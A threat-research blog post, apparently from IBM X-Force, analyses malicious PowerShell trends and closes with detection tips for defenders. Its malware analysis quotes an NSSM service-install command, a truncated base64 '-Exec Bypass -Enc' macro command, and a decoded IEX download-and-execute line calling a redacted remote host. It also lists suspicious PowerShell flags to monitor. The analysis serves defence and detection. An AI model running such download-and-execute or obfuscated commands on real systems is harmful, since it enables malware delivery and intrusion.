Do you remember the era before GPS navigation devices? When getting somewhere unfamiliar involved receiving and remembering verbal directions, or — in the higher-tech ’90s — printing out a list of directions and a map to take on the trip? The ease and convenience of GPS devices has made these older methods all but obsolete. For many, there is no going back.
Such is the pathway of PowerShell, a Microsoft framework that is both a scripting language and a command line executor, useful for simplifying network administration and automating mundane tasks such as pushing updates to multiple devices. PowerShell first appeared in 2006 and has been a standard feature of the Windows operating system (OS) since Windows 7. Moreover, PowerShell 6.0 was released under the Massachusetts Institute of Technology (MIT) open source license in 2016 in an effort to encourage cross-platform adoption and increase usage.
PowerShell is a versatile tool that can execute code from memory and provide entry directly to a device’s core. That includes unbounded access to Windows application programming interfaces (APIs), full access to the Windows Management Instrumentation (WMI) and access to the .NET Framework.
Despite its multiple benefits, PowerShell — like GPS systems — can be used by threat actors. IBM X-Force Incident Response and Intelligence Services (IRIS) identified an upward trend in malicious PowerShell use — most likely due to the open-source nature of the tool, and because malicious actors have realized they can use the tool to inject malware directly into memory, enhance obfuscation and evade antivirus detection software. Our observations provide additional insight to this evolving trend, and highlight unique aspects of PowerShell use by threat actors, such as PowerShell scripts installed as services.
PowerShell Attacks Are Trending Upward
Multiple security analysts have noted a significant increase in malicious PowerShell use after PowerShell 6.0 became open source in 2016. A McAfee Labs report found that PowerShell malware increased by 432 percent between 2016 and 2017, and Symantec noted a 661 percent increase in the number of computers where PowerShell activity was blocked from mid-2017 to mid-2018.
IBM X-Force data similarly revealed that PowerShell attacks have been growing over the past 12 months. Furthermore, data from our Managed Security Services (MSS) identified a distinct increase in the use of malicious PowerShell in April, August and September 2018 (Figure 1).
Figure 1: PowerShell attacks using obfuscation and suspicious downloaders, March-September 2018
While our data indicated that obfuscated attacks trailed off in May and June 2018, they reappeared in late July 2018. In mid-September, we began to see a new attack type appear in our data: suspicious PowerShell downloader activity indicating that a remote attacker was attempting to use PowerShell to download malicious content and automatically trigger execution of the payload. This could allow malicious code to run and infect the target system.
More Power in the Shell?
The appeal of the PowerShell framework to an attacker is clear: execution directly from memory means that attacks can remain fileless and are thus stealthier than other types of attacks. PowerShell also provides remote access capabilities and can bypass application whitelisting. Moreover, threat actors can use PowerShell encoding options to enhance the obfuscation of malicious code, lending more stealth to illicit operations.
Yet just as shutting down the entire GPS satellite network would have more negative repercussions for legitimate users than would be worthwhile — and criminals would probably find a workaround anyway — the elimination of PowerShell would provide little resolution to the underlying problem of malicious cyber actors. Instead, security practitioners would do well to stay updated on how bad actors can use PowerShell and familiarize themselves with the tools available to detect and eradicate malevolent activities.
To that end, let’s take a look at some of the trends in malicious PowerShell use observed by X-Force IRIS — leading with the most unique — and explore some tips to help defenders detect and mitigate PowerShell attacks.
Trend 1: PowerShell Scripts Installed as Services
One of the more unique tactics we have observed in recent attacks on organizational networks is threat actors installing PowerShell scripts as services. Windows services are programs that run in the background and do not require frequent user interaction. As such, malicious actors can leverage these types of programs to install and run other programs while evading detection under the guise of a legitimate part of the operating system.
In most of the instances in which X-Force IRIS observed PowerShell scripts installed as services, the script contained a base64-encoded string. The string decodes to a Gzip-compressed PowerShell script, which is then launched. In the example below, the PowerShell script is run as a service and requires Non-Sucking Service Manager (NSSM) to operate. That component was initially installed as part of the malware payload. Once installed, the PowerShell script calls NSSM and launches the malicious service.
start-Process -FilePath .\nssm.exe -ArgumentList ‘install MaliciousService “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” “-command “& { . C:\Scripts\Monitor.ps1; Start-Monitoring }”” ‘ -NoNewWindow -Wait
Installing PowerShell scripts as services is not a common theme in security blogs and reports, suggesting this is a new or unique trend.
Trend 2: Propagation Through File Macros
Before exploiting PowerShell on a device, threat actors must first gain access to the device of interest. One common method that X-Force IRIS has observed is the use of phishing emails with productivity file attachments that contain malicious macros. Once activated, the malicious macros launch PowerShell, which then executes commands or scripts in the background and ultimately fetches and installs malicious code or malware. In some other cases, we have observed the use of internet query (IQY) file attachments in phishing attacks to initiate PowerShell and run malicious scripts.
According to periodic reports from anti-phishing organizations, phishing attacks continue to have a high rate of success. Subtle social engineering techniques, combined with well-researched messages and attachments that closely mimic those coming from legitimate organizations, continue to prove effective in deceiving even the most security-savvy recipients. Unsurprisingly, phishing emails remain the infection vector of choice for many skilled and unskilled attackers seeking to use PowerShell for malicious purposes.
Microsoft Word and Excel macros are likewise popular choices for malicious PowerShell use since they are routinely accepted as email attachments by many organizations. Activating code via macros on these file types can be stealthy, and this provides an avenue for dropping scripts that can evade various detection mechanisms.
X-Force IRIS regularly observes attackers using productivity file attachments purporting to be billing invoices, delivery notices or resumes to lure victims into opening them and enabling macros, which can end up infecting hosts and granting an attacker a foothold in the organization.
Trend 3: Injecting Malicious Code Into Memory
Threat actors often inject malware directly into memory using PowerShell, a tactic that IRIS has observed on multiple occasions. Using PowerShell as an injection method for malicious code or malware can eliminate intermediate steps and increase the malware’s stealth and agility.
Injecting malware directly into memory is one method that PowerShell users employ to bypass antivirus systems. As most antivirus software systems search for bad files written to disk, malicious actors may be able to evade malware scans by injecting directly into a computer’s random-access memory (RAM).
The destination process for the PowerShell injection varies depending on the attacker’s intention and skill. In many cases, attackers use PowerShell to inject malware into active, legitimate Windows processes, such as explorer.exe. To facilitate this process, threat actors occasionally drop their PowerShell scripts into temporary folders on the system. Once deployed, the malware injected directly into memory will have capabilities similar, if not identical, to malware written to disk: keylogging, data exfiltration and credential capture are just some of the operations that can then be commanded by a remote attacker.
In one example, the malware was capable of checking the environment before deployment to ensure it was not being run in a sandbox. It also scanned the network configuration for specific targets of interest, seeking out strings such as point-of-sale machines, healthcare-related words and access to financial websites, to name a few.
Trend 4: Base64-Encoded Scripts and Nested Obfuscation
Before digging into this next trend, please note that base64-encoded PowerShell is not an inherently malicious choice; it can be used for legitimate purposes, such as transferring binary files. However, encoding can be particularly helpful to an attacker because it allows obfuscation of the contents of malware that attackers may choose to deploy, thereby evading some malware detection mechanisms.
To begin, the presence of base64-encoded PowerShell scripts is often a telltale sign that malicious actors are using the framework. Legitimate users do not typically encode their scripts, but adversarial actors will often use encoding to obfuscate executable code that would otherwise get flagged by endpoint detection solutions.
For the past few months, X-Force IRIS has observed an increase in nested obfuscation when PowerShell is used maliciously. We have seen threat actors employ not only Base64-encoded scripts and commands, but also layers of obfuscation, sometimes including base64 encoding inside base64 encoding (double encoding) and then using Gzip compression, which adds an additional requirement to deflate. Other instances showed base64 encoding using a nonstandard alphabet to further obfuscate the script. These techniques make decoding harder for outsiders and raise a flag for defenders to further examine their intent.
In the following example, we provide information on a malicious Microsoft Excel document that contained Base64 obfuscation in order to evade detection, and how it was able to launch PowerShell to further its sinister endeavors.
Sample: 543D5E22DC9F8E57CA288E6C0EA281F3.xls
This is an Excel document containing multiple malicious Visual Basic for Applications (VBA) macros that provide instructions encoded in Base64. The delivery mechanism is a phishing email.
The file is opened in Microsoft Excel by the victim, and the program executes the malicious macros (some strings are purposely truncated).
WINWORD.EXE /n “C:\ 543D5E22DC9F8E57CA288E6C0EA281F3.xls “
Embedded macros execute PowerShell — let’s look at the script’s elements:
Base64-encoded command hidden in the Excel macro:
PowerShell.exe -Exec Bypass -NoL -Enc WwBuAGUAdAAuAHcAZQBiAHIAZQBxAHUAZQBzAHQAXQA6ADoAZABlAGYAYQB1AGwAdAB3AGUAYgBwAHIAbwB4AHkALgBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBuAGUAdAAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAYwBhAGMAaABlAF0AOgA6AGQAZQBmAGEAdQBsAHQAYwByAGUAZABlAG4AdABpAGEAbABzADsAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGU…
The -Exec Bypass switch allows PowerShell to run with elevated privileges to bypass the execution policy. The -NoL (NoLogo) switch hides the PowerShell copyright banner at startup. The -Enc (Encoded Command) switch tells PowerShell to expect base64-encoded parameters for execution.
These instructions cause the victim’s machine to download a malicious PowerShell script over an HTTP connection, which could then be executed as shown in the example below.
The decoded strings:
[net.webrequest]::defaultwebproxy.credentials = [net.credentialcache]::defaultcredentials; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; IEX (New-Object Net.WebClient).DownloadString(‘https://xxxxxx.xx.com/login-prompt.ps1’)
PowerShell for Lateral Movement, Persistence and Injecting Malware
Fortunately, PowerShell use will not assist a malicious actor in all stages of an attack. Rather, it is primarily used to enable actions an attacker takes after initial compromise. Threat actors still need to use alternative tools for other stages of the attack, such as external reconnaissance, developing infrastructure, initial compromise and, often, to establish a foothold in the environment.
The recently launched “X-Force IRIS Cyberattack Preparation and Execution Frameworks” detail the steps most attackers take in identifying, researching, targeting and attacking a victim network.
Figure 2: X-Force IRIS Cyberattack Preparation and Execution Frameworks
Of the steps outlined above, X-Force IRIS has observed PowerShell used primarily to move laterally, establish a foothold, conduct reconnaissance and maintain persistence in attacks.
PowerShell provides many opportunities for lateral movement within a target environment. In addition, using its scripts maliciously can allow attackers to establish a foothold by installing backdoors and to maintain persistence by placing malware in scheduled tasks, or in fileless fashion, directly into memory. To that effect, X-Force IRIS recently observed that spear phishing email messages often provided the initial infection vector for attackers.
Traditional protection methods, such as physical security controls, anti-phishing software solutions, disabling macros and using banners to highlight messages coming from outside the company can assist in decreasing opportunities for attackers who rely on PowerShell to gain access to a networked device. Educating employees about the risks of opening file attachments and enabling macros in unsolicited emails can add another layer of security to reduce the chances of infection at the source.
Some Useful Tips for Defenders
With the accelerating use of PowerShell scripts, nested obfuscation and mechanisms to bypass application whitelisting, what can be done to mitigate risks? To keep enjoying the benefits of PowerShell and help lessen the risk of misuse, IRIS recommends logging, tracking and auditing PowerShell use in your networks and employing specific search tools to flag malicious behavior.
Below are some specific tips for logging and tracking potentially malicious PowerShell activity:
- At a minimum, ensure that PowerShell v5 is installed on your system, which features enhanced logging capabilities, including script block logging capabilities. Favor the most recent version to ensure better security.
- Turn on transcription logs to further enable PowerShell logs to capture a full command, even when it is obfuscated.
- Monitor for typical commands that malicious actors often use to execute the PowerShell console, such as:
- -ExecutionPolicy Bypass and its derivatives such as -Exec Bypass and -ep bypass;
- -EncodedCommand and derivatives such as -enc;
- -NonInteractive, -NoLogo and -NoProfile and their derivatives such as -NonI, -NoL, -nol and -NoP; and
- -WindowStyle Hidden and its derivatives such as -w hidden, -window hidden and -win hidden.
- Monitor for the following events:
- Event ID 4688 — A new process has been created. In particular, when logging, aim to capture the command line parameters in 4688 events. This can assist in finding PowerShell commands being passed as arguments.
- Event ID 7045 — A service was installed on the system.
- Event ID 4697 — A service was installed on the system “Windows Event Logs View.”
- Employ YARA rules to assist in detecting malicious PowerShell use.
Specialized software and preventive measures can help provide an additional layer of protection and eliminate some of the manual process involved in logging PowerShell use and identifying potentially malicious scripts. These include:
Finally, in cases where attackers have already caused damage to a system or have facilitated the theft of information, forensic experts can assist in detecting malicious PowerShell scripts and eradicating them from an organization’s infrastructure. To restore security levels, it is important to detect and eliminate any malware or malicious processes that were injected using the PowerShell framework.
By increasing employee awareness and calibrating security controls to detect malicious PowerShell activity, organizations can enjoy better protection against threats and the evolving nature of threat actors active in the wild.
Learn more about IBM Security X-Force’s threat intelligence and incident response services.
IBM X-Force Threat Intelligence
Senior Threat Researcher, IBM X-Force